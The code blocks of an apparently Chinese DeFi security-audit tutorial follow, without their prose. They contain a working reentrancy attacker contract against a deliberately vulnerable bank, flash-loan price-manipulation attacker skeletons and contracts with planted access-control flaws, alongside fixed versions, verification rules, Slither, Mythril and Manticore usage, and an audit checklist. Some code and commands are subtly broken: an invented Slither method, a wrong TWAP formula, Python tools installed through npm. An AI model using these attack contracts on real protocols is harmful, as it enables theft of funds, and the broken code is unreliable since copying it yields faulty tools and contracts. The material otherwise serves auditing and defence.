046_DeFi协议安全审计与漏洞防范：从形式化验证到实战案例分析

// 存在重入漏洞的合约
contract VulnerableBank {
    mapping(address => uint) public balances;
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    // 存在重入漏洞的取款函数
    function withdraw(uint amount) public {
        require(balances[msg.sender] >= amount, "余额不足");
        
        // 漏洞点：在更新状态前进行外部调用
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "转账失败");
        
        // 正确的做法是先更新状态，再进行外部调用
        balances[msg.sender] -= amount;
    }
}

// 攻击合约
contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint public attackAmount;
    bool public isAttacking = false;
    
    constructor(address _bankAddress) {
        bank = VulnerableBank(_bankAddress);
    }
    
    // 开始攻击
    function attack() public payable {
        attackAmount = msg.value;
        // 先存款
        bank.deposit{value: attackAmount}();
        isAttacking = true;
        // 开始取款（触发重入）
        bank.withdraw(attackAmount);
        isAttacking = false;
    }
    
    // 回调函数，用于重入攻击
    receive() external payable {
        if (isAttacking && address(bank).balance >= attackAmount) {
            // 反复调用取款函数
            bank.withdraw(attackAmount);
        }
    }
    
    // 获取攻击获得的资金
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// 安全的合约示例
contract SecureBank {
    mapping(address => uint) public balances;
    // 重入锁
    bool private locked = false;
    
    modifier nonReentrant() {
        require(!locked, "重入锁定中");
        locked = true;
        _;
        locked = false;
    }
    
    // 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    // 安全的取款函数
    function withdraw(uint amount) public nonReentrant {
        require(balances[msg.sender] >= amount, "余额不足");
        
        // 先更新状态
        balances[msg.sender] -= amount;
        
        // 再进行外部调用
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "转账失败");
    }
}

// 闪电贷攻击合约简化示例
contract FlashLoanAttacker {
    IERC20 public tokenA;
    IERC20 public tokenB;
    IUniswapV2Router02 public router;
    ILendingProtocol public lendingProtocol;
    IFlashLoanProvider public flashLoanProvider;
    
    constructor(address _tokenA, address _tokenB, address _router, address _lendingProtocol, address _flashLoanProvider) {
        tokenA = IERC20(_tokenA);
        tokenB = IERC20(_tokenB);
        router = IUniswapV2Router02(_router);
        lendingProtocol = ILendingProtocol(_lendingProtocol);
        flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
    }
    
    // 开始攻击
    function startAttack(uint amount) public {
        // 借入大量tokenA
        flashLoanProvider.flashLoan(address(tokenA), amount, address(this), "");
    }
    
    // 闪电贷回调函数
    function executeOperation(address token, uint amount, uint fee, bytes calldata params) external returns (bool) {
        require(msg.sender == address(flashLoanProvider), "回调调用者无效");
        
        // 1. 在DEX上卖出大量tokenA，操纵价格
        tokenA.approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(tokenA);
        path[1] = address(tokenB);
        router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp);
        
        // 2. 利用价格偏差，例如执行不公平清算
        // ...清算逻辑...
        
        // 3. 价格恢复，获利
        uint tokenBBalance = tokenB.balanceOf(address(this));
        tokenB.approve(address(router), tokenBBalance);
        path[0] = address(tokenB);
        path[1] = address(tokenA);
        router.swapExactTokensForTokens(tokenBBalance, 0, path, address(this), block.timestamp);
        
        // 4. 偿还闪电贷（包括费用）
        uint amountOwed = amount + fee;
        tokenA.approve(address(flashLoanProvider), amountOwed);
        
        return true;
    }
}

// 使用Chainlink预言机的安全实现
contract SecureOracleUsage {
    AggregatorV3Interface internal priceFeed;
    uint public constant MAX_PRICE_DEVIATION = 5; // 最大价格偏差百分比
    uint public lastUpdateTime;
    uint public lastPrice;
    uint public constant UPDATE_INTERVAL = 5 minutes;
    
    constructor(address _priceFeedAddress) {
        priceFeed = AggregatorV3Interface(_priceFeedAddress);
    }
    
    // 获取安全的资产价格
    function getSecureAssetPrice() public view returns (uint) {
        (,int price,,uint timeStamp,) = priceFeed.latestRoundData();
        require(price > 0, "无效价格");
        require(timeStamp > 0, "无效时间戳");
        
        uint currentPrice = uint(price);
        
        // 检查价格是否过于陈旧
        require(block.timestamp - timeStamp < UPDATE_INTERVAL, "价格数据过期");
        
        // 检查价格偏差是否合理
        if (lastPrice > 0 && lastUpdateTime > 0 && block.timestamp - lastUpdateTime < 1 hours) {
            uint deviation = calculateDeviation(currentPrice, lastPrice);
            require(deviation <= MAX_PRICE_DEVIATION, "价格波动过大");
        }
        
        return currentPrice;
    }
    
    // 计算价格偏差百分比
    function calculateDeviation(uint newPrice, uint oldPrice) internal pure returns (uint) {
        if (newPrice > oldPrice) {
            return ((newPrice - oldPrice) * 100) / oldPrice;
        } else {
            return ((oldPrice - newPrice) * 100) / oldPrice;
        }
    }
    
    // 更新价格记录
    function updatePriceRecord() external {
        (,int price,,uint timeStamp,) = priceFeed.latestRoundData();
        require(price > 0 && timeStamp > 0, "无效数据");
        
        lastPrice = uint(price);
        lastUpdateTime = block.timestamp;
    }
}

// 权限控制漏洞示例
contract VulnerableToken is ERC20 {
    address public owner;
    uint public transferFeePercentage = 1; // 1%转账费
    
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        owner = msg.sender;
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }
    
    // 漏洞点：缺少权限检查
    function setTransferFeePercentage(uint newFee) public {
        transferFeePercentage = newFee;
    }
    
    // 漏洞点：权限过度集中，没有多签或时间锁
    function withdrawFees() public {
        require(msg.sender == owner, "不是合约所有者");
        uint fees = address(this).balance;
        // 直接转账，没有限额或时间锁
        (bool success, ) = owner.call{value: fees}("");
        require(success, "转账失败");
    }
    
    // 转账时收取手续费
    function transfer(address to, uint amount) public override returns (bool) {
        uint fee = (amount * transferFeePercentage) / 100;
        uint amountAfterFee = amount - fee;
        
        bool success = super.transfer(to, amountAfterFee);
        if (success) {
            super.transfer(address(this), fee);
        }
        return success;
    }
}

// 使用OpenZeppelin实现安全的权限控制
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/governance/TimelockController.sol";

contract SecureToken is ERC20, AccessControl, Pausable {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
    bytes32 public constant TREASURY_ROLE = keccak256("TREASURY_ROLE");
    
    uint public transferFeePercentage = 1; // 1%转账费
    uint public constant MAX_FEE_PERCENTAGE = 5; // 最高费率限制
    
    // 时间锁控制器地址
    TimelockController public timelock;
    
    constructor(string memory name, string memory symbol, address _timelock) ERC20(name, symbol) {
        timelock = TimelockController(_timelock);
        
        // 设置角色
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(ADMIN_ROLE, address(timelock));
        _grantRole(PAUSER_ROLE, address(timelock));
        _grantRole(TREASURY_ROLE, address(timelock));
        
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }
    
    // 带权限控制和限制的设置费率函数
    function setTransferFeePercentage(uint newFee) external onlyRole(ADMIN_ROLE) {
        require(newFee <= MAX_FEE_PERCENTAGE, "费率超过最大限制");
        transferFeePercentage = newFee;
        emit FeeUpdated(newFee);
    }
    
    // 暂停功能
    function pause() external onlyRole(PAUSER_ROLE) {
        _pause();
    }
    
    function unpause() external onlyRole(PAUSER_ROLE) {
        _unpause();
    }
    
    // 限额提款功能
    function withdrawFees() external onlyRole(TREASURY_ROLE) {
        uint fees = address(this).balance;
        uint maxWithdrawal = fees / 2; // 限制单次提款不超过一半
        
        (bool success, ) = msg.sender.call{value: maxWithdrawal}("");
        require(success, "转账失败");
        
        emit FeesWithdrawn(maxWithdrawal);
    }
    
    // 暂停时禁止转账
    function transfer(address to, uint amount) public override whenNotPaused returns (bool) {
        uint fee = (amount * transferFeePercentage) / 100;
        uint amountAfterFee = amount - fee;
        
        bool success = super.transfer(to, amountAfterFee);
        if (success) {
            super.transfer(address(this), fee);
        }
        return success;
    }
    
    // 事件定义
    event FeeUpdated(uint newFee);
    event FeesWithdrawn(uint amount);
}

// 验证ERC20合约的转账函数
rule transfer_preserves_totalSupply {
    env e;
    address sender = 0x123;
    address receiver = 0x456;
    uint256 amount;
    
    // 假设sender有足够的余额
    require(balanceOf(sender) >= amount);
    
    // 捕获执行前的总供应量
    uint256 totalSupplyBefore = totalSupply();
    
    // 执行转账操作
    transfer(e, sender, receiver, amount);
    
    // 验证总供应量保持不变
    assert totalSupply() == totalSupplyBefore, "转账应保持总供应量不变";
}

// 验证没有重入攻击
rule no_reentrancy_in_withdraw {
    env e;
    address user = 0x789;
    uint256 initialBalance = balanceOf(user);
    
    // 检查withdraw函数执行期间，余额不能增加
    // (这是防止重入的必要条件之一)
    uint256 balanceDuring;
    
    hook Sstore balanceOf[user] = newBalance
    {
        balanceDuring = newBalance;
        assert balanceDuring <= initialBalance, "取款期间余额不应增加";
    }
    
    // 执行取款操作
    withdraw(e, user, initialBalance);
    
    // 验证最终余额为0
    assert balanceOf(user) == 0, "取款后余额应为0";
}

# 安装Mythril
pip install mythril

# 分析智能合约文件
myth analyze contract.sol --solc-json mythril.config.json

# 检查特定漏洞（如重入）
myth analyze contract.sol --detect reentrancy

# 生成详细报告
myth analyze contract.sol --format json --output report.json

{
  "solc_version": "0.8.17",
  "solc_args": "--optimize",
  "execution_timeout": 300,
  "modules": {
    "reentrancy": {"enable": true},
    "integer_overflow": {"enable": true},
    "integer_underflow": {"enable": true},
    "unchecked_retval": {"enable": true}
  }
}

# 安装Slither
pip install slither-analyzer

# 分析单个文件
slither contract.sol

# 分析整个项目
slither .

# 启用特定检测器
slither contract.sol --detect reentrancy-eth,reentrancy-no-eth

# 生成JSON报告
slither contract.sol --json report.json

from slither.slither import Slither
from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification

class CustomReentrancyDetector(AbstractDetector):
    ARGUMENT = "custom-reentrancy"  # 命令行参数
    HELP = "检测自定义重入模式"  # 帮助信息
    IMPACT = DetectorClassification.HIGH  # 影响级别
    CONFIDENCE = DetectorClassification.MEDIUM  # 置信度
    
    def _detect(self):
        results = []
        
        # 遍历所有合约
        for contract in self.slither.contracts:
            # 遍历所有函数
            for function in contract.functions:
                # 检查函数是否有外部调用
                external_calls = [node for node in function.nodes if node.external_calls]
                
                # 检查函数是否有状态变量写入
                state_writes = [node for node in function.nodes if node.state_variables_written]
                
                # 如果在状态写入之前有外部调用，可能存在重入风险
                for external_call in external_calls:
                    for state_write in state_writes:
                        if external_call in function.nodes and state_write in function.nodes:
                            # 检查节点顺序
                            if function.is_节点在节点之后(external_call, state_write):
                                info = ["函数 ", function, " 可能存在重入风险: 外部调用后才更新状态\n"]
                                info += ["\t- 外部调用: ", external_call, "\n"]
                                info += ["\t- 状态更新: ", state_write, "\n"]
                                
                                res = self.generate_result(info)
                                results.append(res)
        
        return results

# 使用自定义检测器
def analyze_with_custom_detector(file_path):
    slither = Slither(file_path)
    detector = CustomReentrancyDetector(slither, slither.config)
    results = detector.detect()
    
    for result in results:
        print(result)

# 分析合约
analyze_with_custom_detector("contract.sol")

from manticore.ethereum import ManticoreEVM
from manticore.core.smtlib import operators
from manticore.core.smtlib.solver import Z3Solver

# 创建Manticore实例
m = ManticoreEVM()

# 创建用户账户
user_account = m.create_account(balance=1000)

# 部署合约
with open("VulnerableBank.sol", "r") as f:
    contract_src = f.read()

contract_account = m.solidity_create_contract(
    contract_src,
    owner=user_account,
    balance=1000
)

# 第一步：存款
m.transaction(caller=user_account, to=contract_account, value=100)

# 第二步：创建攻击者合约
with open("ReentrancyAttacker.sol", "r") as f:
    attacker_src = f.read()

attacker_account = m.solidity_create_contract(
    attacker_src,
    owner=user_account,
    balance=100,
    args=[contract_account.address]
)

# 第三步：攻击者存款
m.transaction(caller=user_account, to=attacker_account, value=50)
m.transaction(caller=user_account, to=attacker_account, function="deposit()", value=50)

# 第四步：开始攻击
m.transaction(caller=user_account, to=attacker_account, function="attack()", value=50)

# 检查是否有状态可以导致余额不一致
for state in m.running_states:
    # 检查银行合约的余额
    bank_balance = state.platform.get_balance(contract_account.address)
    # 检查攻击者合约的余额
    attacker_balance = state.platform.get_balance(attacker_account.address)
    
    # 如果攻击者的余额超过初始投资，说明可能存在漏洞
    if state.can_be_true(operators.GT(attacker_balance, 100)):
        print("发现潜在的重入漏洞!")
        # 生成具体的攻击场景
        state.generate_testcase(name="ReentrancyAttack", 
                               only_if=operators.GT(attacker_balance, 100))

# 完成分析
m.finalize()

// 验证恒定乘积公式
rule constant_product_after_swap {
    env e;
    address sender = 0x123;
    uint256 amountIn = 100;
    uint256 minAmountOut = 0;
    
    // 捕获交易前的储备
    uint256 reserveInBefore = reserve0();
    uint256 reserveOutBefore = reserve1();
    uint256 kBefore = reserveInBefore * reserveOutBefore;
    
    // 执行交换
    swap(e, sender, true, amountIn, minAmountOut);
    
    // 捕获交易后的储备
    uint256 reserveInAfter = reserve0();
    uint256 reserveOutAfter = reserve1();
    
    // 计算手续费后的k值（假设0.3%手续费）
    uint256 feeAmount = amountIn * 3 / 1000;
    uint256 effectiveAmountIn = amountIn - feeAmount;
    uint256 kExpected = (reserveInBefore + effectiveAmountIn) * 
                       (reserveOutBefore - (effectiveAmountIn * reserveOutBefore) / (reserveInBefore + effectiveAmountIn));
    
    // 验证新的k值是否正确
    assert reserveInAfter * reserveOutAfter >= kExpected, "恒定乘积公式被违反";
}

// 验证健康因子计算
rule correct_health_factor_calculation {
    env e;
    address user = 0x123;
    uint256 collateralAmount = 1000;
    uint256 borrowAmount = 500;
    
    // 假设价格为1:1
    uint256 price = 1 ether;
    
    // 用户存款作为抵押
    depositCollateral(e, user, collateralAmount);
    
    // 用户借款
    borrow(e, user, borrowAmount);
    
    // 计算预期健康因子（假设清算阈值为80%）
    uint256 collateralValue = collateralAmount * price;
    uint256 borrowValue = borrowAmount * price;
    uint256 liquidationThreshold = 80; // 80%
    uint256 expectedHealthFactor = (collateralValue * liquidationThreshold) / borrowValue;
    
    // 获取实际健康因子
    uint256 actualHealthFactor = getHealthFactor(user);
    
    // 验证健康因子计算是否正确
    assert actualHealthFactor == expectedHealthFactor, "健康因子计算错误";
}

// 验证只有当健康因子低于1时才能被清算
rule liquidate_only_when_underwater {
    env e;
    address borrower = 0x123;
    address liquidator = 0x456;
    uint256 borrowAmount = 1000;
    
    // 确保借款人有借款
    borrow(e, borrower, borrowAmount);
    
    // 验证在健康因子高于1时无法清算
    assume(getHealthFactor(borrower) > 1 ether);
    
    // 尝试清算
    uint256 repayAmount = 100;
    action_result result = liquidate(e, liquidator, borrower, repayAmount);
    
    // 验证清算应失败
    assert !result.success, "健康因子高于1时不应允许清算";
}

// 漏洞代码示例（简化版）
fn verify_signature(message: &[u8], signatures: &[Signature]) {
    let digest = hash(message);
    // 问题：没有验证签名者是否属于当前活跃的GuardianSet
    // 应该检查signature_verification_result
    if signatures.len() >= threshold {
        // 错误：直接返回成功，而不验证签名者的有效性
        return Ok(());
    }
    Err("Not enough signatures")
}

// 正确的实现应该是
fn verify_signature_fixed(message: &[u8], signatures: &[Signature]) {
    let digest = hash(message);
    let active_guardians = get_active_guardians();
    
    let valid_signatures = signatures.iter()
        .filter(|sig| {
            // 验证签名是否来自活跃的守护者
            let signer = recover_signer(digest, sig);
            active_guardians.contains(&signer)
        })
        .count();
    
    if valid_signatures >= threshold {
        Ok(())
    } else {
        Err("Not enough valid signatures")
    }
}

// 易受攻击的价格预言机代码
function getPrice(address token) public view returns (uint) {
    // 直接使用Uniswap V1的当前价格
    // 问题：这个价格可以通过闪电贷临时操纵
    return uniswapPair.getTokenToEthOutputPrice(1e18);
}

// 更安全的价格预言机实现
function getPriceSafe(address token) public view returns (uint) {
    // 使用时间加权平均价格(TWAP)
    uint cumulativePrice = uniswapPair.price0CumulativeLast();
    uint timeElapsed = block.timestamp - uniswapPair.blockTimestampLast();
    
    // 计算TWAP
    uint twapPrice = cumulativePrice / timeElapsed;
    
    // 增加价格偏差检查
    uint currentPrice = uniswapPair.getTokenToEthOutputPrice(1e18);
    require(absDiff(currentPrice, twapPrice) <= maxDeviation, "价格偏差过大");
    
    return twapPrice;
}

function absDiff(uint a, uint b) internal pure returns (uint) {
    return a > b ? a - b : b - a;
}

// 攻击合约示例（简化版）
contract FlashLoanAttacker {
    address public lendingPool;
    address public priceOracle;
    address public vulnerableProtocol;
    
    constructor(address _lendingPool, address _priceOracle, address _vulnerableProtocol) {
        lendingPool = _lendingPool;
        priceOracle = _priceOracle;
        vulnerableProtocol = _vulnerableProtocol;
    }
    
    function attack() external {
        // 1. 从Aave借入大量资产
        bytes memory data = abi.encodeWithSignature("executeAttack()");
        ILendingPool(lendingPool).flashLoan(address(this), [tokenA], [loanAmount], data);
    }
    
    function executeOperation(address[] calldata assets, uint256[] calldata amounts, ...) external returns (bool) {
        // 2. 操纵价格预言机
        manipulatePrice();
        
        // 3. 利用操纵后的价格与脆弱协议交互获利
        exploitVulnerableProtocol();
        
        // 4. 归还闪电贷
        for (uint i = 0; i < assets.length; i++) {
            IERC20(assets[i]).approve(lendingPool, amounts[i]);
        }
        
        return true;
    }
    
    function manipulatePrice() internal {
        // 在DEX上执行大额交易操纵价格
        // ...
    }
    
    function exploitVulnerableProtocol() internal {
        // 利用操纵后的价格从脆弱协议中获利
        // ...
    }
}

// 易受攻击的提款函数
function withdraw(uint amount) public {
    // 问题：先发送以太币，后更新状态
    require(balances[msg.sender] >= amount);
    
    // 危险：外部调用在状态更新前
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
    
    // 状态更新太晚，此时可能已被重入
    balances[msg.sender] -= amount;
}

// 安全的提款函数 - 使用检查-效果-交互模式
function withdrawSafe(uint amount) public {
    // 1. 检查条件
    require(balances[msg.sender] >= amount, "Insufficient balance");
    
    // 2. 更新状态（在外部调用前）
    balances[msg.sender] -= amount;
    
    // 3. 进行外部交互
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

// 安全的提款函数 - 使用重入锁
uint256 private _status;
modifier nonReentrant() {
    require(_status == 0, "Reentrant call");
    _status = 1;
    _;
    _status = 0;
}

function withdrawWithLock(uint amount) public nonReentrant {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount;
    
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

# 创建审计工作环境
mkdir defi-audit-project
cd defi-audit-project

# 初始化项目
npm init -y

# 安装必要的工具
npm install --save-dev hardhat @nomiclabs/hardhat-ethers ethers @openzeppelin/contracts
npm install --save-dev solhint slither-analyzer mythril

# 克隆目标代码库
git clone https://github.com/target-project/target-contracts.git

# 编译合约
hardhat compile

# 运行测试确认环境
npx hardhat test

# 使用Slither进行初步静态分析
slither . --json slither-report.json

# 使用Mythril进行符号执行分析
myth analyze ./contracts/TargetContract.sol --solc-version 0.8.17

# 使用MythX进行综合分析（需要API密钥）
mythx analyze

# 运行安全测试
npm run test:security

# 合约初始化与配置
- [ ] 构造函数参数验证
- [ ] 初始权限设置正确
- [ ] 初始化状态变量合理

# 访问控制
- [ ] 关键函数有适当的访问控制
- [ ] 角色管理机制安全
- [ ] 权限升级路径安全

# 资金管理
- [ ] 转账前检查余额
- [ ] 使用安全转账模式
- [ ] 避免直接发送以太币到未知地址

# 输入验证
- [ ] 所有用户输入都经过验证
- [ ] 边界条件检查
- [ ] 零地址检查

# 重入保护
- [ ] 遵循检查-效果-交互模式
- [ ] 使用重入锁
- [ ] 外部调用后不更新状态

# 预言机使用
- [ ] 价格源多样化
- [ ] 实现价格偏差检查
- [ ] 使用TWAP而非即时价格

// 渗透测试合约示例
contract PenetrationTest {
    IProtocol public protocol;
    address public owner;
    
    constructor(address _protocolAddress) {
        protocol = IProtocol(_protocolAddress);
        owner = msg.sender;
    }
    
    // 测试重入攻击
    function testReentrancy() external {
        // 设置攻击环境
        setupAttack();
        
        // 执行攻击
        executeReentrancyAttempt();
        
        // 验证结果
        reportResults();
    }
    
    // 测试价格操纵
    function testPriceManipulation() external {
        // 模拟闪电贷
        simulateFlashLoan();
        
        // 尝试操纵价格
        attemptPriceManipulation();
        
        // 检查协议响应
        checkProtocolResponse();
    }
    
    // 测试权限绕过
    function testAccessControl() external {
        // 尝试未授权操作
        attemptUnauthorizedActions();
        
        // 检查权限控制有效性
        verifyAccessControl();
    }
    
    // 辅助函数...
    function setupAttack() internal {}
    function executeReentrancyAttempt() internal {}
    function reportResults() internal {}
    function simulateFlashLoan() internal {}
    function attemptPriceManipulation() internal {}
    function checkProtocolResponse() internal {}
    function attemptUnauthorizedActions() internal {}
    function verifyAccessControl() internal {}
}

# DeFi协议安全审计报告

## 1. 执行摘要
- 审计范围
- 发现的主要问题
- 总体风险评估

## 2. 漏洞详情

### 2.1 严重级别

#### [CRITICAL-001] 重入漏洞
- **描述**: 在withdraw函数中存在重入风险
- **位置**: Contract.sol:123-145
- **影响**: 可能导致资金损失
- **修复建议**: 实现检查-效果-交互模式

### 2.2 高危级别

#### [HIGH-001] 价格操纵风险
- **描述**: 预言机实现存在价格操纵风险
- **位置**: Oracle.sol:45-67
- **影响**: 可能导致错误的资产定价
- **修复建议**: 使用TWAP和多源预言机

## 3. 代码质量问题

## 4. 最佳实践建议

## 5. 结论